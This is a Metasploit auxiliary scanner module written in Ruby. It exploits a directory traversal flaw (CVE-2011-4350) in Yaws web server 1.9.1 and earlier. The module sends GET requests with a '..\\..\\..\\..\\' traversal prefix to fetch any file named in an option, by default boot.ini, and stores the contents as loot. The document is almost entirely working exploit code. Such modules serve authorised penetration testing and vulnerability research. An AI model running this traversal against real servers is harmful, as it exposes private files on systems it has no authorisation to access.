##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Yaws Web Server Directory Traversal",
			'Description'    => %q{
					This module exploits a directory traversal bug in Yaws v1.9.1 or less.
				The module can only be used to retrieve files. However, code execution might
				be possible. Because when the malicious user sends a PUT request, a file is
				actually created, except no content is written.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r',  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4350'],
					['OSVDB', '77581'],
					['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=757181']
				],
			'DisclosureDate' => "Nov 25 2011"
		))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('FILEPATH', [false, 'The name of the file to download', 'boot.ini'])
			], self.class)

		deregister_options('RHOST')
	end

	def run_host(ip)
		# No point to continue if no filename is specified
		if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
			print_error("Please supply the name of the file you want to download")
			return
		end

		# Create request
		traversal = "..\\..\\..\\..\\"
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "/#{traversal}/#{datastore['FILEPATH']}"
		}, 25)

		# Show data if needed
		if res and res.code == 200
			vprint_line(res.to_s)
			fname = File.basename(datastore['FILEPATH'])

			path = store_loot(
				'yaws.http',
				'application/octet-stream',
				ip,
				res.body,
				fname
			)
			print_status("File saved in: #{path}")
		else
			print_error("Nothing was downloaded")
		end
	end
end
